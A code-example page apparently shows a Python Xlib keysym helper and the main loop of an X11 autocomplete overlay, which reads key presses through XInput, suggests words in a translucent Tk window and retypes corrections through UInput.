            'End', 'Begin', 'Insert', 'Delete', 'Equal', 'Multiply', 'Add',
            'Separator', 'Subtract', 'Decimal', 'Divide', '0', '1', '2', '3',
            '4', '5', '6', '7', '8', '9'
        ]
        for keyname in keypad:
            keypad_keycode = self.lookup_character_keycode('KP_' + keyname)
            self.keypad_keycodes.append(keypad_keycode)

    def lookup_character_keycode(self, character):
        """
        Looks up the keysym for the character then returns the keycode mapping
        for that keysym.
        """
        keysym = self.string_to_keysym.get(character, 0)
        if keysym == 0:
            keysym = self.string_to_keysym.get(KEYSYMS[character], 0)
        return self.display.keysym_to_keycode(keysym)

    def get_translation_dicts(self):
        """
        Returns dictionaries for the translation of keysyms to strings and from
        strings to keysyms.
        """
        keysym_to_string_dict = {}
        string_to_keysym_dict = {}
        #XK loads latin1 and miscellany on its own; load latin2-4 and greek
        Xlib.XK.load_keysym_group('latin2')
        Xlib.XK.load_keysym_group('latin3')
        Xlib.XK.load_keysym_group('latin4')
        Xlib.XK.load_keysym_group('greek')

        #Make a standard dict and the inverted dict
        for string, keysym in Xlib.XK.__dict__.items():
            if string.startswith('XK_'):
                string_to_keysym_dict[string[3:]] = keysym
                keysym_to_string_dict[keysym] = string[3:]
        return keysym_to_string_dict, string_to_keysym_dict

    def ascii_printable(self, keysym):
        """
        If the keysym corresponds to a non-printable ascii character this will
        return False. If it is printable, then True will be returned.

        ascii 11 (vertical tab) and ascii 12 are printable, chr(11) and chr(12)
        will return '\x0b' and '\x0c' respectively.
        """
        if 0 <= keysym < 9:
            return False
        elif 13 < keysym < 32:
            return False
        elif keysym > 126:
            return False
        else:
            return True
Exemple #24
0
def main(argv):
    display = Display()
    # Xinput
    extension_info = display.query_extension("XInputExtension")
    xinput_major = extension_info.major_opcode

    typing_tracker = TypingTracker(None)

    aliasing_map = AliasMap(open("halfquerty-v2.bin", "rb").read())

    version_info = display.xinput_query_version()
    print("Found XInput version %u.%u" % (
        version_info.major_version,
        version_info.minor_version,
    ))

    xscreen = display.screen()
    xscreen.root.xinput_select_events([
        (
            xinput.AllDevices,
            xinput.KeyPressMask
            | xinput.KeyReleaseMask
            | xinput.ButtonPressMask
            | xinput.RawButtonPressMask,
        ),
    ])

    # Window
    win = tk.Tk()
    win.geometry("+100+100")

    win.wm_attributes("-topmost", 1)
    win.attributes("-alpha", 0.5)
    win.config(bg=BG_NOHL)
    win.overrideredirect(True)

    container = tk.Frame(win, cnf={"bg": BG_NOHL})
    container.pack()

    before_txt_var = tk.StringVar()
    before_txt_var.set("")
    before_label = tk.Label(
        container,
        textvariable=before_txt_var,
        cnf={
            "font": "monospace 12",
            "fg": FG_NOHL,
            "bg": BG_NOHL,
            "height": 1
        },
    )

    sel_txt_var = tk.StringVar()
    sel_txt_var.set("")
    sel_label = tk.Label(
        container,
        textvariable=sel_txt_var,
        cnf={
            "font": "monospace 12",
            "fg": FG_SEL,
            "bg": BG_SEL,
            "height": 1
        },
    )

    after_txt_var = tk.StringVar()
    after_txt_var.set("")
    after_label = tk.Label(
        container,
        textvariable=after_txt_var,
        cnf={
            "font": "monospace 12",
            "fg": FG_NOHL,
            "bg": BG_NOHL,
            "height": 1
        },
    )

    suggestion_container = tk.Frame(win, cnf={"bg": BG_NOHL})
    suggestion_labels = []
    suggestion_idx = 0

    before_label.pack(side=tk.LEFT)
    sel_label.pack(side=tk.LEFT)
    after_label.pack(side=tk.LEFT)
    suggestion_container.pack(side=tk.BOTTOM)

    vocab = Vocab.loads(open("vocab.json", "r").read())
    ui = UInput()

    suggester = Suggester(vocab, edit_sequence_config=EditSequencesConfig())

    try:
        while True:
            i = 0
            while display.pending_events() > 0 and i < 20:
                i += 1
                event = display.next_event()

                # print(event)
                if not event or event.type != 35:
                    continue

                if event.evtype == xinput.KeyPress:
                    keycode = event.data.detail
                    keysym = display.keycode_to_keysym(keycode, 0)
                    if keycode == STEP_NEXT:
                        suggestion_idx = min(suggestion_idx + 1,
                                             len(suggestion_labels) - 1)
                    elif keycode == STEP_PREV:
                        suggestion_idx = max(suggestion_idx - 1, 0)
                    elif keycode == SELECT_ACTIVE:
                        # correct the word to the suggestion
                        before_text, after_text = typing_tracker.get_text()
                        last_word = get_last_word(before_text)

                        suggestions = suggester.get_prefix_suggestions(
                            lastword)

                        if suggestion_idx < len(suggestions):
                            correct_typing_buffer(display, ui, last_word,
                                                  suggestions[suggestion_idx])

                    else:
                        typing_tracker.handle_keypress_sym(keysym)
                        suggestion_idx = 0

                elif event.evtype == xinput.KeyRelease:
                    keycode = event.data.detail
                    keysym = display.keycode_to_keysym(keycode, 0)
                    typing_tracker.handle_keyrelease_sym(keysym)
                elif (event.evtype == xinput.ButtonPress
                      or event.evtype == xinput.RawButtonPress):
                    typing_tracker.reset_buff()
            if i >= 1:
                before_text, after_text = typing_tracker.get_text()
                before_txt_var.set(before_text)
                h = 1 + before_text.count("\r")
                before_label.configure({"height": h})
                after_txt_var.set(after_text)

                lastword = get_last_word(before_text)
                suggestions = suggester.get_prefix_suggestions(lastword)
                while len(suggestions) > len(suggestion_labels):
                    l = SuggestionLabel(suggestion_container, )
                    suggestion_labels.append(l)

                while len(suggestions) < len(suggestion_labels):
                    l = suggestion_labels.pop()
                    l.dispose()

                for i, (sugg,
                        label) in enumerate(zip(suggestions,
                                                suggestion_labels)):
                    label.update(sugg, i == suggestion_idx)
            win.update_idletasks()
            win.update()
    except KeyboardInterrupt as e:
        return 0
    except Exception as e:
        print(e)
        print(full_stack())
    finally:
        win.destroy()
        return 1